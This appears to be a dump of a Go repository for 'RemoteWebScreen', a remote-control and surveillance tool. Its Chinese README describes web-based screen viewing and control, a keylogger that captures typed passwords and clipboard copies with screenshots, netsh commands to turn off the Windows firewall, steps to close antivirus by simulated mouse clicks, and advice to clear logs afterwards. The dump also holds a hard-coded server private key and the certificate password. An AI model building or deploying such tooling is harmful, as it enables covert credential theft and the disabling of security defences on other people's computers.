├── README.md ├── RemoteWebScreen.p12 ├── certs ├── ca.pem ├── server.key └── server.pem ├── go.mod ├── go.sum ├── images ├── image-20231124095233832.png ├── image-20231124101333602.png ├── image-20231124101600198.png └── image-20231124101731491.png ├── index.html ├── keyboard ├── Keyboard.go ├── call_back.go ├── dump.go └── misc.go ├── main.go ├── server ├── keymouevent.go ├── screen.go └── screenshotHandler.go ├── static └── pako.min.js └── win32 ├── define.go └── win32.go /README.md: -------------------------------------------------------------------------------- 1 | # RemoteWebScreen 2 | 3 | ## 项目概述 4 | 5 | 本项目是一个远程控制应用,使用 Golang 开发,允许用户通过 Web 界面远程控制和屏幕监控其他计算机。主要功能包括屏幕共享、鼠标和键盘控制以及键盘记录。 6 | 7 | ## 目录结构 8 | 9 | ``` 10 | RemoteWebScreen/ 11 | ├── server/ # 服务器端代码 12 | │ ├── keymouevent.go # WebSocket和鼠标和键盘通信逻辑 13 | │ ├── screen.go # 截图 14 | │ └── screenshotHandler.go# 屏幕共享逻辑 15 | │ 16 | ├── certs/ # 证书 17 | │ ├── cert.pem # cert 18 | │ └── key.pem # key 19 | │ 20 | ├── static/ # 前端静态文件 21 | │ └── pako.min.js # 主HTML文件 22 | │ 23 | ├── keyboard/ # 键盘记录相关模块 24 | │ ├── call_back.go # 鼠标键盘回调函数 25 | │ ├── dump.go # 保存键盘记录以及剪切板截图操作 26 | │ ├── Keyboard.go # 启动键盘记录 27 | │ └── misc.go # 相关函数 28 | │ 29 | ├── win32/ # 键盘记录相关配置 30 | │ ├── define.go # 键盘对应表 31 | │ └── win32.go # hook设置 32 | │ 33 | ├── main.go # 应用程序的主入口点 34 | │ 35 | ├── index.html # 前端代码 36 | │ 37 | └── go.mod # Go模块定义 38 | ``` 39 | ## 主要组件 40 | 41 | 1. **WebSocket 通信**:使用 `github.com/gorilla/websocket` 包实现服务端和客户端之间的实时通信。 42 | 2. **屏幕控制**:使用 `github.com/go-vgo/robotgo` 包进行鼠标键盘控制。 43 | 3. **屏幕捕获**:`"github.com/kbinani/screenshot"`包进行屏幕捕获 44 | 4. **证书加密**:使用`https`和`wss`方式进行传输。 45 | 5. **前端界面**:HTML/CSS/JavaScript 实现,用于显示远程屏幕和发送控制命令。 46 | 47 | 扩展屏鼠标移动算法 48 | ``` 49 | 主屏分辨率<扩展屏的分辨率{ 50 | 扩展屏的分辨率 := bounds.Dx() * (主屏分辨率 / (screen.W-bounds.Min.X)) 51 | }else{ 52 | 扩展屏的分辨率 := 主屏分辨率 * bounds.Min.X+bounds.Dx() / screen.W 53 | } 54 | ``` 55 | 56 | ## 工具使用 57 | 58 | 注:启动工具时,关闭一下防火墙。此工具基于正向连接,所以会在被控端启动端口。 59 | 60 | ``` 61 | Windows server 2003及之前版本: 62 | netsh firewall set opmode disable #关闭 63 | netsh firewall set opmode enable #开启 64 | Windows server 2003之后版本: 65 | netsh advfirewall set allprofiles state off #关闭 66 | netsh advfirewall set allprofiles state on #开启 67 | ``` 68 | 69 | ``` 70 | RemoteWebScreen.exe start #默认443 71 | RemoteWebScreen.exe start [端口号] 72 | ``` 73 | 74 | ``` 75 | https://IP:端口号/:端口号 #屏幕控制 76 | https://IP:端口号/:端口号log #键盘记录 77 | ``` 78 | 79 | ### 屏幕控制 80 | 81 | 注:非管理员运行时启动任务管理器,鼠标键盘控制会被禁止。 82 | 83 | 访问`https://IP:端口号/:端口号`。访问需要安装证书 84 | 85 |  86 | 87 | 以上三处分别为,`切换到扩展屏`、`鼠标键盘控制`、`画质修改`。 88 | 89 | **退出杀软** 90 | 91 | 可以直接通过模拟鼠标退出`火绒`。其他杀软未测试,针对`360`因为360有HOOK鼠标键盘操作所以不建议使用鼠标键盘控制,因为会失效。 92 | 93 |  94 | 95 | ### 键盘记录 96 | 97 | 注:项目结束时请清理生成的文件 98 | 99 | 访问`https://IP:端口号/:端口号log ` 100 | 101 | 当有键盘记录时会生成记录文件到以下目录 102 | 103 | ``` 104 | %tmp%/screen_log/templog.tmp #注:键盘记录 105 | %tmp%/screen/2006_01_02_15_04_05_04.png #注:截屏记录 106 | ``` 107 | 108 |  109 | 110 | 通过上图可以记录到输入的账号密码,同时当用户打开密码本复制密码时,也能获取`Ctrl+c/v`,同时当用户进行复制和粘贴操作时会截一张图。 111 | 112 |  113 | 114 | ## 安装证书 115 | 116 | 双击安装证书 117 | 118 | ``` 119 | RemoteWebScreen.p12 #密码:RemoteWebScreen 120 | ``` 121 | 注:小技巧,缩放浏览器也可以调节画面清晰度。欢迎issues 122 | 123 | **仅供技术研究使用,请勿用于非法用途,否则后果作者概不负责** 124 | -------------------------------------------------------------------------------- /RemoteWebScreen.p12: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/p1d3er/RemoteWebScreen/6ce4a2a98c66512c28a0ff60cf6e2f0079c344cd/RemoteWebScreen.p12 -------------------------------------------------------------------------------- /certs/ca.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDazCCAlOgAwIBAgIUBqR5JCntFLIlY/V7hDn3GO99Ko8wDQYJKoZIhvcNAQEL 3 | BQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM 4 | GEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMzExMjkwODM1NDZaFw0yNjA5 5 | MTgwODM1NDZaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw 6 | HwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwggEiMA0GCSqGSIb3DQEB 7 | AQUAA4IBDwAwggEKAoIBAQDnVQJIZ+OYVGafZ9fSpo2D0pYcj4cpeO7NHydIUJgL 8 | E245LTIWoSaqr/tSUTQ7H+3fjGoG4anAB7JmSMRgQR9ttlI4zPXI7Q7lvbgegAIm 9 | H9eOQPMz6XyRnIckCle3RgwVqfnpGWhS8CimOi7CojOZzcxJQfgbgIWIx4qniYlK 10 | K+LY0OndUZNUOYUaBiJgjpPGvbuYJ02/jHpACVcST/74QLGMyc88fattSw1QRSEi 11 | kxEP3/zdkKnG3mrW7bIg5xACpAY5kZOKDLDyUKAywJJq2a+iX7V2fcCRDN4KQhSO 12 | HOhurcKuqQSj8hg3Y/+5GLgTEyDAqDR8oOcXAcdbuMuFAgMBAAGjUzBRMB0GA1Ud 13 | DgQWBBRuyt8Hde8AC3VMkvDQWdEz9X1meDAfBgNVHSMEGDAWgBRuyt8Hde8AC3VM 14 | kvDQWdEz9X1meDAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQAd 15 | calps7Sci1SaGkDuPXQqT56X00IzYS8BdJ1Xsa/gaDiqfOd/hiaQ+odBNaxnkQfE 16 | vSy38wvNyq9iRtuumbMjEv+3NJsY5z/dyoa+5QSSHoBK1H3njTZml6jD96NmORGo 17 | O/x8QOBlcvd4kS/3fT2QIGzig2aT1qp2IF4evQD+44RANRyqhA8FvY6Ktc7Hv3oU 18 | QyRuiQNn9ktqLa7lbVr64NXhqiTQ4KY5hdd3qAKtAJe2JgdHllfPgTYVeVzB94jo 19 | Vf1HcEsuLxM1OTpWav4Qw917JxyjwucqXabJZsp1Ma33eO/6KcvxJc4cBdWPiwWq 20 | mynscHKWJ1u0JPeOGsKr 21 | -----END CERTIFICATE----- 22 | -------------------------------------------------------------------------------- /certs/server.key: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDrUzzti8ilZDNg 3 | ShMikoY0JwWaR0IWJcD0q5p7fiDmFhqi6Zh38j6cw8laWQs24JFpQTY6Nf6KTIbX 4 | Rtn27TV1gAXzE57NCva1CQnPAbrdgiWflT+Wruy5yvqRvfJ25x0TcD2nZqIOqpgj 5 | fkfE1frDlrEiizd1xglN1+TWz2olUFeouv4YECCDZAndWtjy0ttyJOcwQdQRR4cW 6 | MGAQs/7gqGpQQBx6Dbw46zZS7yiDzHiFq54IBDf5JFvskdvjnqDzLy8i+aoV7JMn 7 | qcwr34dD98k/qcwF15bAadH3NJtaMCgOnz6/jLxtPKNIDX4ZBM5x94zOnYNwNFfa 8 | KN1Y3XrtAgMBAAECggEAEZoKRqJcAbL6/MrNn5piG2iHzMBjuxBb3HExfucyQsOI 9 | foMGeoJOGJ+0YeOjKRmnBr5v9e6v+Vw8AcI073lStFU9HK9tA108ktH4P9mbRpJD 10 | iio5tWWkI0mBcIFKr4Yd8KRGmEze9kXgV1dMuvZeaV7OJQ1QuqhzbbUmUsL055F0 11 | IVb4fuyP1uVGr/Q2yq7SU/mcNzrHPrtYivRfOymFrEKVdUOT0aAtopsFJCa2PDZA 12 | IqoTVanjGuwoCjrYyYGqLZT2hKsLG3QF7aeXS18udknA83BF+QWKlfPNwK1hWwW3 13 | 0ZSDTTsHFcn56Mm5DuuIPUXk/byiWXrXLosMfxv6AQKBgQD8rdaeMeu8FkvSZvgG 14 | 28nNu7v8epEw3lSJJmNwu4T4RbPbeTDCrVjQnQ1cyEqMegHLp04mugxYsw87P4Ql 15 | qifkocG+40nns2Ez8wx4p9Igl2fuMIP+T2jQ9G2q/RqQICdJfv8JVqe2MG02asGy 16 | 5vP1ikW/dFNlFECIwRcI14morQKBgQDuawLG/mxRBv3QNFQN/u2it4/dnCcpBXvb 17 | CSIncfjGLDpX6KhPMAk/cGHiW8D/vK8wAahAEM2H6eTtX0xuc2iMGlMCE4c+3CqU 18 | 6H9nn7S77j94m5CvCr83q7DBvhcDX0QmxUtZ+spE97ca1WCWNRBec3AXUg7JwEOS 19 | ckFnWYIjQQKBgH3cCT8bFpTFdlcDOyAPcmGr1WNZmeCBnhICsR2CCiWwcnorz4Ho 20 | 3ohq8jD5A0kdrK9IUsEvgt7bsgaNCMHKE7zqZZszk6h5zT0XH2sqDJx3TilyuQx/ 21 | eXI7jjTRhd2sZmVRgK+iHj+9t2iXnIwERhhUG5HV24RJpit4IoUg90yxAoGAH72l 22 | aAK1PvBUWCSvUBGxZ2lSwOkqGX7+Z0HHB0NYIGIA/nUd+zTk9koq7ezTO/jNxfFi 23 | iezyv/Z2oNeAIHBC6ewTQwKAjfDXxm1RkOUlNaPZVWA4meUvYeT8qj55Z9yGATdg 24 | +cC2rwnfmbXwnu6/mCN8N86X42oyVMvbQzwaZEECgYAykvt02qyRtPgSIGSrZNDk 25 | /R5rUupR+Dbc+FtV/AFadECN07vJt+vZ/1/nO5wzes76HkQfkkxyFYJ5N657o3fk 26 | 6y9JJ6cf+VZ8vDx/aU7z6l950QsqWRC4kZpxS9FgIwF0DDyICmAxkgEIOpHsmZIb 27 | 38j75ZJuX2peMQGL/MtU5g== 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /certs/server.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIDETCCAfkCFE2GUysbEdrYV4VCEJjEFYJJxzSQMA0GCSqGSIb3DQEBCwUAMEUx 3 | CzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRl 4 | cm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMjMxMTI5MDgzNjA5WhcNMjUwNDEyMDgz 5 | NjA5WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UE 6 | CgwYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOC 7 | AQ8AMIIBCgKCAQEA61M87YvIpWQzYEoTIpKGNCcFmkdCFiXA9Kuae34g5hYaoumY 8 | d/I+nMPJWlkLNuCRaUE2OjX+ikyG10bZ9u01dYAF8xOezQr2tQkJzwG63YIln5U/ 9 | lq7sucr6kb3yducdE3A9p2aiDqqYI35HxNX6w5axIos3dcYJTdfk1s9qJVBXqLr+ 10 | GBAgg2QJ3VrY8tLbciTnMEHUEUeHFjBgELP+4KhqUEAceg28OOs2Uu8og8x4haue 11 | CAQ3+SRb7JHb456g8y8vIvmqFeyTJ6nMK9+HQ/fJP6nMBdeWwGnR9zSbWjAoDp8+ 12 | v4y8bTyjSA1+GQTOcfeMzp2DcDRX2ijdWN167QIDAQABMA0GCSqGSIb3DQEBCwUA 13 | A4IBAQBjNkh1AuWPd5cKY5rRYfdc1QWEjF3uAP8Os9mH1DQLozdshmMCIM1aJYm7 14 | s1/0XipaHKxPFKdrSVOul1qbtN4+W/mleGt52/S1ytVQGLr1DRDCplho8AfqyE75 15 | PtYKZjtat5CcP+5p295XNNurY0zM2alt+yw/vxCW2kOKvIKZ9riERx+kzC+OXTEs 16 | loSOg7mDUCId/0jsVsXEOryYa+iV4W7xjHHQTo5OntYD2TPLtFQyH04g5FKUfxgt 17 | VUsI4Tgf29t9eckd2ErBx1Xe6qcQKlL012QS/x1WGZcN0uhEEdAYDKC80GhUxMnk 18 | rN8tqqjgx0+8FRyvnNlRQUdi12vy 19 | -----END CERTIFICATE----- 20 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module RemoteWebScreen 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/atotto/clipboard v0.1.4 7 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 8 | github.com/go-vgo/robotgo v0.110.0 9 | github.com/gorilla/websocket v1.5.1 10 | github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 11 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 12 | ) 13 | 14 | require ( 15 | github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7 // indirect 16 | github.com/go-ole/go-ole v1.3.0 // indirect 17 | github.com/jezek/xgb v1.1.0 // indirect 18 | github.com/lufia/plan9stats v0.0.0-20230326075908-cb1d2100619a // indirect 19 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect 20 | github.com/otiai10/gosseract v2.2.1+incompatible // indirect 21 | github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b // indirect 22 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934 // indirect 23 | github.com/robotn/xgbutil v0.0.0-20190912154524-c861d6f87770 // indirect 24 | github.com/shirou/gopsutil/v3 v3.23.8 // indirect 25 | github.com/shoenig/go-m1cpu v0.1.6 // indirect 26 | github.com/tklauser/go-sysconf v0.3.12 // indirect 27 | github.com/tklauser/numcpus v0.6.1 // indirect 28 | github.com/vcaesar/gops v0.30.2 // indirect 29 | github.com/vcaesar/imgo v0.40.0 // indirect 30 | github.com/vcaesar/keycode v0.10.1 // indirect 31 | github.com/vcaesar/tt v0.20.0 // indirect 32 | github.com/yusufpapurcu/wmi v1.2.3 // indirect 33 | golang.org/x/image v0.12.0 // indirect 34 | golang.org/x/net v0.17.0 // indirect 35 | golang.org/x/sys v0.13.0 // indirect 36 | ) 37 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/BurntSushi/freetype-go v0.0.0-20160129220410-b763ddbfe298/go.mod h1:D+QujdIlUNfa0igpNMk6UIvlb6C252URs4yupRUV4lQ= 2 | github.com/BurntSushi/graphics-go v0.0.0-20160129215708-b43f31a4a966/go.mod h1:Mid70uvE93zn9wgF92A/r5ixgnvX8Lh68fxp9KQBaI0= 3 | github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4= 4 | github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI= 5 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394 h1:OYA+5W64v3OgClL+IrOD63t4i/RW7RqrAVl9LTZ9UqQ= 6 | github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394/go.mod h1:Q8n74mJTIgjX4RBBcHnJ05h//6/k6foqmgE45jTQtxg= 7 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 8 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 9 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 10 | github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7 h1:VLEKvjGJYAMCXw0/32r9io61tEXnMWDRxMk+peyRVFc= 11 | github.com/gen2brain/shm v0.0.0-20230802011745-f2460f5984f7/go.mod h1:uF6rMu/1nvu+5DpiRLwusA6xB8zlkNoGzKn8lmYONUo= 12 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= 13 | github.com/go-ole/go-ole v1.3.0 h1:Dt6ye7+vXGIKZ7Xtk4s6/xVdGDQynvom7xCFEdWr6uE= 14 | github.com/go-ole/go-ole v1.3.0/go.mod h1:5LS6F96DhAwUc7C+1HLexzMXY1xGRSryjyPPKW6zv78= 15 | github.com/go-vgo/robotgo v0.110.0 h1:655fmWO4yD5dn/y70Z50wdxnqg2LvmRD+MZ1iOXuGI0= 16 | github.com/go-vgo/robotgo v0.110.0/go.mod h1:DdJUdi6mEU8ttHMbow6hKD1TjgsfgJC/H+4dusok8Uw= 17 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= 18 | github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= 19 | github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= 20 | github.com/gorilla/websocket v1.5.1 h1:gmztn0JnHVt9JZquRuzLw3g4wouNVzKL15iLr/zn/QY= 21 | github.com/gorilla/websocket v1.5.1/go.mod h1:x3kM2JMyaluk02fnUJpQuwD2dCS5NDG2ZHL0uE0tcaY= 22 | github.com/jezek/xgb v1.1.0 h1:wnpxJzP1+rkbGclEkmwpVFQWpuE2PUGNUzP8SbfFobk= 23 | github.com/jezek/xgb v1.1.0/go.mod h1:nrhwO0FX/enq75I7Y7G8iN1ubpSGZEiA3v9e9GyRFlk= 24 | github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237 h1:YOp8St+CM/AQ9Vp4XYm4272E77MptJDHkwypQHIRl9Q= 25 | github.com/kbinani/screenshot v0.0.0-20230812210009-b87d31814237/go.mod h1:e7qQlOY68wOz4b82D7n+DdaptZAi+SHW0+yKiWZzEYE= 26 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= 27 | github.com/lufia/plan9stats v0.0.0-20230326075908-cb1d2100619a h1:N9zuLhTvBSRt0gWSiJswwQ2HqDmtX/ZCDJURnKUt1Ik= 28 | github.com/lufia/plan9stats v0.0.0-20230326075908-cb1d2100619a/go.mod h1:JKx41uQRwqlTZabZc+kILPrO/3jlKnQ2Z8b7YiVw5cE= 29 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e h1:H+t6A/QJMbhCSEH5rAuRxh+CtW96g0Or0Fxa9IKr4uc= 30 | github.com/lxn/win v0.0.0-20210218163916-a377121e959e/go.mod h1:KxxjdtRkfNoYDCUP5ryK7XJJNTnpC8atvtmTheChOtk= 31 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646 h1:zYyBkD/k9seD2A7fsi6Oo2LfFZAehjjQMERAvZLEDnQ= 32 | github.com/nfnt/resize v0.0.0-20180221191011-83c6a9932646/go.mod h1:jpp1/29i3P1S/RLdc7JQKbRpFeM1dOBd8T9ki5s+AY8= 33 | github.com/otiai10/gosseract v2.2.1+incompatible h1:Ry5ltVdpdp4LAa2bMjsSJH34XHVOV7XMi41HtzL8X2I= 34 | github.com/otiai10/gosseract v2.2.1+incompatible/go.mod h1:XrzWItCzCpFRZ35n3YtVTgq5bLAhFIkascoRo8G32QE= 35 | github.com/otiai10/mint v1.3.0 h1:Ady6MKVezQwHBkGzLFbrsywyp09Ah7rkmfjV3Bcr5uc= 36 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 37 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 38 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 39 | github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b h1:0LFwY6Q3gMACTjAbMZBjXAqTOzOwFaj2Ld6cjeQ7Rig= 40 | github.com/power-devops/perfstat v0.0.0-20221212215047-62379fc7944b/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE= 41 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934 h1:2lhSR8N3T6I30q096DT7/5AKEIcf1vvnnWAmS0wfnNY= 42 | github.com/robotn/xgb v0.0.0-20190912153532-2cb92d044934/go.mod h1:SxQhJskUJ4rleVU44YvnrdvxQr0tKy5SRSigBrCgyyQ= 43 | github.com/robotn/xgbutil v0.0.0-20190912154524-c861d6f87770 h1:2uX8QRLkkxn2EpAQ6I3KhA79BkdRZfvugJUzJadiJwk= 44 | github.com/robotn/xgbutil v0.0.0-20190912154524-c861d6f87770/go.mod h1:svkDXUDQjUiWzLrA0OZgHc4lbOts3C+uRfP6/yjwYnU= 45 | github.com/shirou/gopsutil/v3 v3.23.8 h1:xnATPiybo6GgdRoC4YoGnxXZFRc3dqQTGi73oLvvBrE= 46 | github.com/shirou/gopsutil/v3 v3.23.8/go.mod h1:7hmCaBn+2ZwaZOr6jmPBZDfawwMGuo1id3C6aM8EDqQ= 47 | github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM= 48 | github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ= 49 | github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU= 50 | github.com/shoenig/test v0.6.4/go.mod h1:byHiCGXqrVaflBLAMq/srcZIHynQPQgeyvkvXnjqq0k= 51 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 52 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 53 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 54 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 55 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 56 | github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= 57 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 58 | github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU= 59 | github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI= 60 | github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk= 61 | github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY= 62 | github.com/vcaesar/gops v0.30.2 h1:fANyUGCjLkfcYmJRVnXv+QZhT8cL2e0GWpRFZe58p/4= 63 | github.com/vcaesar/gops v0.30.2/go.mod h1:2NSA2Q9M1irGnGD9tWdo0Z+MwKjUj4Q4EgUDukN/Vsk= 64 | github.com/vcaesar/imgo v0.40.0 h1:okI1eonRAfGLzjqgTIBkUwhm4j/rH19qGno4eFOBQsc= 65 | github.com/vcaesar/imgo v0.40.0/go.mod h1:E5uI53XkEfbI20VvcIZ/19G2hHidPfH9h4NtQooEY+8= 66 | github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw= 67 | github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ= 68 | github.com/vcaesar/tt v0.20.0 h1:9t2Ycb9RNHcP0WgQgIaRKJBB+FrRdejuaL6uWIHuoBA= 69 | github.com/vcaesar/tt v0.20.0/go.mod h1:GHPxQYhn+7OgKakRusH7KJ0M5MhywoeLb8Fcffs/Gtg= 70 | github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= 71 | github.com/yusufpapurcu/wmi v1.2.3 h1:E1ctvB7uKFMOJw3fdOW32DwGE9I7t++CRUEMKvFoFiw= 72 | github.com/yusufpapurcu/wmi v1.2.3/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0= 73 | golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= 74 | golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= 75 | golang.org/x/image v0.12.0 h1:w13vZbU4o5rKOFFR8y7M+c4A5jXDC0uXTdHYRP8X2DQ= 76 | golang.org/x/image v0.12.0/go.mod h1:Lu90jvHG7GfemOIcldsh9A2hS01ocl6oNO7ype5mEnk= 77 | golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= 78 | golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= 79 | golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= 80 | golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= 81 | golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= 82 | golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= 83 | golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= 84 | golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= 85 | golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 86 | golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 87 | golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= 88 | golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= 89 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 90 | golang.org/x/sys v0.0.0-20201018230417-eeed37f84f13/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 91 | golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 92 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= 93 | golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 94 | golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 95 | golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 96 | golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 97 | golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 98 | golang.org/x/sys v0.8.0/go.mod 